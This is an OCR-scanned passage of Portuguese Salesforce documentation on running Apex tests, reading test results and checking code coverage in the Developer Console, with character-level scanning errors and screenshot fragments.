e Para selecionar qualquer teste, selecione [Todos Namespaces] na lista suspensa. Todas executar testes de classes

as classes na organizacdo aparecem, independente ou ndo de serem de um pacote do Apex:

gerenciado. *  "Apex do autor”

@ Nofa: As classes cujos testes estdo em execugdo nao aparecem na lista.

4. (lique em Executar.

Apos selecionar as classes de testes a serem executadas, elas sdo colocadas na fila de trabalho do Apex para execucdo. O nimero maximo
de classes de teste que é possivel selecionar para execugao é maior que 500 ou 10 multiplicado pelo ndmero de classes de teste na
organizacao por um periodo de 24 horas. Para organizacbes com sandbox e Developer Edition, o limite é mais alto e é o maior de 500
ou 20 multiplicado pelo ndmero de classes de teste na organizagéo.

Enquanto os testes estao em execugdo, vocé pode selecionar um ou mais testes e clicar em Anular para canceld-lo.

Ap6s a concluséo da execucao de um teste, vocé pode:


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/apex_code_coverage_best_pract.htm
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e (licar no teste para ver detalhes do resultado; ou, se um teste falhar, serdo exibidos a primeira mensagem de erro e o rastreamento
de pilha.

e (licar em Exibir para ver o cédigo de origem do Apex.

@ Nota: Os resultados do teste séo exibidos por 60 minutos depois que a execucdo é concluida.

Use a pagina Resultados de teste do Apex para ver todos os resultados de teste de sua organizacdo. Em Configuracdo, insira Apex na
caixa Busca rapida.selecione Execucao de teste do Apex e clique em Exibir histérico de teste.

Use o Console do desenvolvedor para ver informacées adicionais sobre a execucao de teste:
1. Abra o Console do desenvolvedor.
2. Execute seus testes usando a pagina Execucao de teste do Apex.

3. Marque o Console do desenvolvedor para percorrer a solicitagéo.

Desativando a execucdo paralela de testes

Os testes que sao iniciados na interface do usuario do Salesforce (incluindo o Console do desenvolvedor sao executados em paralelo. A
execucdo de testes em paralelo pode acelerar o tempo de execucdo do teste. As vezes, a execucdo de testes em paralelo resulta em
problemas de contencdo de dados. Nesses casos, é possivel desativa-la. Especificamente, podem ocorrer problemas de contencdo de
dados e erros UNABLE_TO_LOCK_ROW NnoOs €asos a sequlir.

e Quando os testes atualizam 0s mesmos registros ao mesmo tempo. Geralmente, a atualizagdo dos mesmos registros ocorre apenas
quando os testes ndo criam seus préprios dados e desligam o isolamento de dados para acessar os dados da organizacao.

e Quando ocorre um impasse nos testes que estdo sendo executados em paralelo e ha a tentativa de criar registros com valores
duplicados no campo de indice. Os dados do teste sdo consolidados quando a execucdo de um método de teste é concluida. Ocorre
um impasse quando um teste em execucdo estd aguardando que outro teste em execucdo consolide os dados. Isso acontece se
dois testes inserirem registros com os mesmos valores exclusivos de campo de indice, em ordens diferentes.

Vocé pode evitar a exibicdo desses erros desativando a execucao de testes em paralelo na interface do usudrio do Salesforce:

1. EmConfiguracdo, insira Execucdo de teste do Apex nacaixa Busca rapida,selecione Execucdo de teste do Apex
e clique em Opgoes....

2. Na caixa de didlogo Op¢oes de execucdo de testes do Apex, selecione Desativar teste paralelo do Apex e clique em OK.

Para mais informacdes sobre dados de teste, consulte “Isolamento de dados de teste de dados da organizacao em testes de unidade”
no Force.com Apex Code Developer’s Guide (Guia do desenvolvedor de codigo do Apex do Force.com). Essa opcao néo afeta a ordem de
execucdo dos testes, que continuam sendo executados de forma assincrona na pagina de Execucdo de teste do Apex.

Inspecionando resultados da cobertura de codigo

Ap6s executar os testes usando a pagina de Execucéo de teste de Apex, vocé poderd ver os detalhes da cobertura do cédigo no Console
do desenvolvedor. Consulte Verificando a cobertura de cédigo.

Para reduzir o tempo de calculo dos resultados gerais de cobertura do cédigo obtidos por meio de Estimar cobertura de cédigo da
sua organizag¢ao na pagina Execucdo de teste do Apex, clique em Opgoes..., selecione Armazenar apenas cobertura de cédigo
agregada e, em seguida, clique em OK. Use essa opcao apenas quando haja muitos testes e um grande volume de cédigo do Apex,
ou seja, quando o nimero de métodos de teste do Apex multiplicado pelo ndimero de todas as classes e acionadores estiver na faixa de
centenas de milhares. Essa op¢do faz com que os resultados da cobertura de cédigo sejam armazenados de forma agregada para todos
0s métodos de teste. Como resultado, ndo é possivel exibir resultados de cobertura de cédigo para um método de teste individual,
inclusive o realce azul e vermelho que mostra a cobertura de cédigo linha por linha no console do Developer. Para mais informacdes
sobre a execucdo de testes, consulte Criar uma execucao de teste na ajuda online e "Running Unit Test Methods" no Force.com Apex
Code Developer's Guide.


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
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Opcao Teste de sequéncia com numeragdo automatica independente

Para evitar lacunas nos campos de numeragao automatica nos registros da organizacao, causadas por registros de teste criados em testes
do Apex, clique em Opgodes..., selecione Sequéncia com numeracdo automatica independente e, em seguida, clique em OK. Essa
opcdoisolaa sequéncia de numeracao automatica usada em testes do Apex da sequéncia usada na sua organizacao. Consequentemente,
a criacdo dos dados de teste em testes do Apex nao faz com que a sequéncia de campos de numeracdo automatica seja maior para
registros que nao sdo de teste na organizagéo.

Se essa opcdo nao for ativada, havera lacunas no campo de numeragdo automatica sempre que os testes do Apex criarem registros de
teste com campos de numeragao automatica. Por exemplo: se Conta tem um campo de numeragao automdtica e ha 50 registros de
conta na sua organizagao, o valor do campo da Ultima conta criada pode ser N-0050. Depois de executar um teste do Apex que cria
cinco contas de teste, isso faz com que a sequéncia de numeracao automatica aumente em cinco, mesmo se esses registros de teste
nao forem confirmados no banco de dados e forem revertidos. Da préxima vez que vocé criar um registro de conta que ndo é de teste,
o valor do campo de numeragao automética serda N-0056 em vezde N-0051 — esse é 0 motivo da lacuna na sequéncia. Se vocé
ativa essa opcao antes de executar um teste do Apex que cria dados de teste, a sequéncia de numeracdo automatica é preservada, e o
proximo registro que nao é de teste terd um valor contiguo de numeragdo automatica de N-0051.

Observe que as lacunas na sequéncia de numeracao automatica também podem ocorrer em outras situacdes — por exemplo: quando
acionadores que tentam inserir novos registros nao executam e os registros sao revertidos. Nesse caso, nao é possivel evitar totalmente
as lacunas porgue, na mesma transacao, alguns registros podem ser inseridos com sucesso, enquanto outros sao revertidos.

CONSULTE TAMBEM:
Abrir o Console do desenvolvedor
Resultados do teste do Apex

Detalhes dos resultados dos testes do Apex

Resultados do teste do Apex

Em Configuragdo, insira Apex nacaixa Busca rapida.selecione Execucao deteste do Apex EDICOES
e clique em Exibir histdrico de teste para visualizar todos os resultados de teste da sua organizacao,
nao apenas testes que vocé executou. Os resultados dos testes séo mantidos por 30 dias apds a Disponivel em: Salesforce
execugao ser concluida, a menos que sejam descartados. Classic e Lightning

Para mostrar uma lista filtrada de itens, selecione uma lista predefinida na lista suspensa Exibir Experience
ou clique em Criar nova exibicdo para definir seus proprios modos de exibicao personalizados.Para

) ) T ) ) i Disponivel em: Enterprise,
editar ou excluir qualquer exibicao criada, selecione-a na lista suspensa Exibir e clique em

) Performance, Unlimited,
Editar. Developer e Database.com

Clique em Exibir para exibir mais detalhes sobre a execucdo de um teste especifico. Editions

Oregistro de depuracao é definido automaticamente para niveis e categorias de registro especfficos,
que ndo podem ser alterados na pagina Execucdo de teste do Apex. PERMISSOES DO

USUARIO

Categoria Nivel
i Para definir, editar, excluir,
Banco de dados INFORMACOES definir a seguranca, definir

as configuracdes da versdo,

Codigo do Apex CORRETO mostrar dependéncias e

Perfil do Apex CORRETO executar testes de classes
do Apex:

Fluxo de trabalho O MAIS CORRETO DE TODOS e “Apex do autor”

Validagao INFORMACOES
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@ Importante: Para poder implantar o codigo do Apex ou compacté-lo para o AppExchange Force.com, a sequinte condigdo deve

ser verdadeira.

e Pelo menos, 75% do seu cédigo do Apex deve ser coberto por testes de unidade, e todos esses testes devem ser concluidos

com éxito.

Observe o seguinte:

-~ Ao implantar o Apex em uma organizacao de producéo, cada teste de unidade no namespace de sua organizacéo sera

executado por padrao.

-~ (Chamadas para System.debug ndo sao contadas como parte da cobertura de cédigo do Apex.

— Métodos e classes de teste ndo sdo contados como parte da cobertura de cédigo do Apex.

-~ Embora apenas 75% de seu cédigo Apex seja coberto por testes, seu foco néo deve ser no percentual de cédigo coberto.
Em vez disso, vocé deve certificar-se de que cada caso de uso de seu aplicativo esta coberto, incluindo casos positivos e
negativos, bem como registros individuais e em lote. Isso deve levar a cobertura de 75% ou mais do codigo por testes de

unidade.

e (ada acionador deve ter alguma cobertura de teste.

e Todas as classes e acionadores devem ser compilados corretamente.

CONSULTE TAMBEM:

Detalhes dos resultados dos testes do Apex

Detalhes dos resultados dos testes do Apex

Para exibir todos os resultados de teste de sua organizagao na exibicao padrao por 30 dias (se nao
forem descartados), e ndo apenas os testes que vocé executou, em Configuragéo, insira Apex na
caixa Busca rapida, selecione Execucao de teste do Apex e cliqgue em Exibir historico de
teste. Clique em Exibir para exibir mais detalhes sobre a execucdo de um teste especifico.

CONSULTE TAMBEM:
Resultados do teste do Apex

Executando testes no console do desenvolvedor

Executar testes no Console do desenvolvedor

Use o Console do desenvolvedor para configurar execucbes de teste, executar testes e verificar a
cobertura do Apex code.

O menu Test (Teste) do Console do desenvolvedor permite gerenciar as execucoes de teste. Ele
inclui as sequintes opgdes:

e Sempre executar de forma assincrona: a menos que a opcao Sempre executar de forma
assincrona esteja ativa esteja ativada, as execugdes de teste que incluem testes de apenas uma
classe serdo executadas de forma sincrona. As execucoes de teste que incluem mais de uma
classe sao executadas de forma assincrona, independentemente da ativacao dessa opcao.

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com
Editions

PERMISSOES DO

USUARIO

Para definir, editar, excluir,
definir a seguranca, definir
as configuracdes da versdo,
mostrar dependéncias e
executar testes de classes
do Apex:

e "Apex do autor”

e New Run (Nova execucdo): cria uma execucao de teste. Para obter detalhes, consulte Criar uma execucao de teste.

e Executar novamente: executa o teste selecionado na guia Testes.
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e Executar testes comfalha novamente: para executar novamente somente os testes que falharam da execucdo de teste destacada
na guia Testes, escolha esta opcao.

e Run All (Executar todos): Executa todas as execucdes de teste salvas.

e Abort (Anular): Anula o teste selecionado na guia Tests (Testes).

e Collapse All (Recolher tudo): Recolhe todos os testes abertos na guia Tests (Testes).
e Expand All (Expandir tudo): Expande todos os testes na guia Tests (Testes).

e (lear Test Data (Limpar dados de teste): Limpa os dados de teste atuais e os resultados de cobertura de cédigo.

Test~ Workspace » Help~ <
0 Always Run Asynchronously
New Run
Rerun
Rerun Failed Tests
Run All

Abart

Collapse All

Expand All

Clear Test Data

Os testes concluidos séo listados na guia Tests (Testes) no painel inferior do Console do desenvolvedor.

Logs rists Checkpoints Query Editor Progress Problems ¥
Status = TestRun Duration Failures  Total Overall Code Coverage
v @ 2013-04-10 08:03:53, td@b3.a 0 2 Class Percent | Lines

v =4 UserResulTest 0 1 Filteroptions 100% 99 -

v =] testUserResult 0:00 FiterOptionsTest 0% No data |;|

A4 23 PermissionAssignmentControllerTest 0 1 foo 0% Nodats
v =] testController 0:00 fo02 0% No data
Hellowarld 0% No data

MyClass 0% Nodata ~

O painel Overall Code Coverage (Cobertura de cédigo global) exibe a porcentagem de cobertura de cédigo para cada classe da sua
organizacao. O painel sempre exibe a porcentagem atual de cada classe. Apos realizar uma execucdo de teste de todas as classes, ele

exibe uma percentagem global para toda a organizacdo em negrito. Para obter mais informacées, consulte Verificando a cobertura de
cédigo.

Para obter mais informacées sobre testes, consulte a secdo Testes do Guia do desenvolvedor de cédigo do Apex Force.com.

CONSULTE TAMBEM:
Criar uma execucao de teste

Verificando a cobertura de cédigo

Verificando a cobertura de codigo

O Console do desenvolvedor recupera e exibe informacées de cobertura de cédigo da sua organizacdo. Os resultados de cobertura de
codigo vém de todos os testes executados a partir da APl ou da interface com o usuério (por exemplo, o Console do desenvolvedor, o
IDE Force.com ou a pagina Execucao de teste do Apex). Para limpar os resultados atuais, clique em Test (Teste) > Clear Test Data
(Limpar dados de teste). Quando vocé edita uma classe, a cobertura de cédigo da classe é apagada até que vocé execute os testes
novamente.

Pode-se exibir a cobertura de cédigo em varios locais no Console do desenvolvedor.


http://www.salesforce.com/us/developer/docs/apexcode/
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e AguiaTests (Testes) inclui um painel Overall Code Coverage (Cobertura de cédigo geral) que exibe a porcentagem de cobertura
do cédigo para cada classe do Apex na sua organizacdo que foi incluida em uma execucéo de teste. Também exibe a porcentagem
global.

e (lique duas vezes na execucao de teste concluida para abrir a exibicdo Resultados de teste que mostra a classe testada, 0 método
testado, a duragdo, o resultado (ignorar, aprovar ou reprovar) e uma mensagem de erro opcional. Se o teste falhar, a coluna
Rastreamento de pilha mostra 0 método e o ndmero da linha em que o teste falhou.

e Para visualizar a cobertura do cédigo linha por linha para uma classe do Apex, abra a classe. O menu Cobertura do codigo incluird
uma ou mais das sequintes op¢oes dependendo dos testes implantados:

- Nenhum
-~ All Tests (Todos os testes): A porcentagem de cobertura do codigo de todas as execugdes de teste.

- className.methodName: A porcentagem de cobertura de codigo de um método executado durante uma execugao de
teste.

Aslinhas de codigo cobertas por testes estao em azul. As linhas de codigo ndo cobertas aparecem em vermelho. As linhas de codigo
que nao necessitam de cobertura (por exemplo, chaves, comentarios e chamadas System.debug) ficam em branco.

Browsers ¥
2012-08-02 12:48:36, jbleyle@180.de *| StripeErrorModel * Stripe-{;ustomer %
Code Coverage: All Tests 5% + ﬂ ﬂ'
http.setMethod ('POST"); B T
Blob headerValue = Blob.valueOf (RPT KEY + ':');

String authorizationHeader = 'BRSIC ' +
EncodingUtil.base6dEncode (headerValue);

[

http.setHeader ('Ruthorization', authorizationHeader):
http.setBody ('card[number]="+cnumber+'&card[exp year]|='+exXxp year+'sc

if(!Test.isRunningTest()){

system.debug ('#### '+ hs.getBody()):

system.debug('S55statusCode="+hs.getStatusCode () ) 5
}else( il

@ Nota: Quando vocé edita uma classe com cobertura de cédigo, o destaque em azul e vermelho no Editor de cédigo-fonte escurece
para indicar que a cobertura ndo é mais vélida. Quando vocé edita e salva uma classe, a cobertura é removida dela. Para verificar
a cobertura daquela classe, execute os testes novamente.

CONSULTE TAMBEM:
Criar uma execucao de teste
Executar testes no Console do desenvolvedor

http://www.salesforce.com/us/developer/docs/apexcode/Content/apex_code_coverage_best_practhtm
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Criar uma execucdo de teste

Uma execucao de teste é uma cole¢do de classes que contém métodos de teste. Configure uma execucdo de teste no Console do
desenvolvedor para executar os métodos de teste em uma ou mais classes de teste.

1. No Console do desenvolvedor, clique em Test (Teste) > New Run (Nova execucao).
As classes com métodos de teste sdo listadas na janela Selecionar testes.

Select Tests x|
T s N
Name « Name = & Name
AwesomeClassTest testAFailingTest (&l & SampleClassTest
SampleClassTest testMyAwesomeMethod
& E ] testMoreCode
testMyAs MethodIfFal
yAwesomelethodtiralse & testSampleCode
testMyAwesomeMethodIfTrue @]
= AwesomeClassTest
testMyAwesomeMethod
testMyAwesomeMethodIfTrue
testMyAwesomeMethodIfFalse
*class Select All | [My Namespace] v Run

2. Selecione uma classe no painel Classes de teste.
Parafiltrar a lista de classes, digite na caixa Filtrar classes de teste (* = qualquer uma).

3. Quando todas as classes que vocé desejar forem incluidas no painel Classes de teste selecionadas, clique em Executar para colocar
em fila e executar as classes.
A execucdo de teste aparece na guia Testes. Para parar um teste, clique em Teste > Anular.

@ Nota: Se seus métodos de teste chamam outros métodos ou classes definidos como testes em sua organizacao, esses métodos
e classes também serdo executados.

4. Na quia Testes, expanda a execucédo de teste para ver os resultados de cada método chamado por cada classe na execugdo.

@ Nofta: Classes de teste nao necessitam de cobertura de cédigo, entao, elas mostram 0% de cobertura no painel de Cobertura
de codigo geral e ndo afetam a porcentagem de cobertura de cédigo geral.

5. Clique duas vezes na execucédo de teste concluida para abrir os resultados na exibicdo de detalhes que mostra a classe testada, o
método testado, a duracdo, o resultado (ignorar, aprovar ou reprovar) e uma mensagem de erro opcional.

Se um teste falhar, a coluna Rastreamento de pilha mostra o método e o nimero da linha em que o teste falhou.

@ Notfa: N&o é possivel acessar registros de execucdes de teste sincronas na guia Testes. No entanto, vocé pode acessar todos
0s registros de execucdes de teste na guia Registros.
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6. Selecione um método de teste para ver sua cobertura de cada classe no painel Cobertura do cédigo de classe.

7. Para limpar os resultados atuais, clique em Test (Teste) > Clear Test Data (Limpar dados de teste).

CONSULTE TAMBEM:
Executar testes no Console do desenvolvedor

Verificando a cobertura de cédigo

Implantar

Esta secdo contém informacgdes sobre como implementar na sua organizagéo as alteragées codificadas.

Devem ocorrer alteragdes de cddigo em um sandbox, de modo que vocé pode testar suas alteracdes antes de implanté-las. Os sandboxes
contém cdpias de seus dados, codigos e definicdes de configuracdo isoladas do ambiente de producao. E possivel personalizar sua
organizacao e testar os aplicativos em um sandbox e, depois, implantar as mudangas na sua organizagao de producao, quando estiverem
prontas. Em alguns casos, varios desenvolvedores podem estar trabalhando em diferentes sandboxes, s quais coordenam essas alteracoes
para a implantagdo. Estas secbes tém mais informagdes sobre o processo de implantacéo e as ferramentas disponiveis para o
desenvolvimento e implantacéo de alteracées:

e Visdo geral da implantacdo

e Selecione suas ferramentas para desenvolver e implementar alteragcdes
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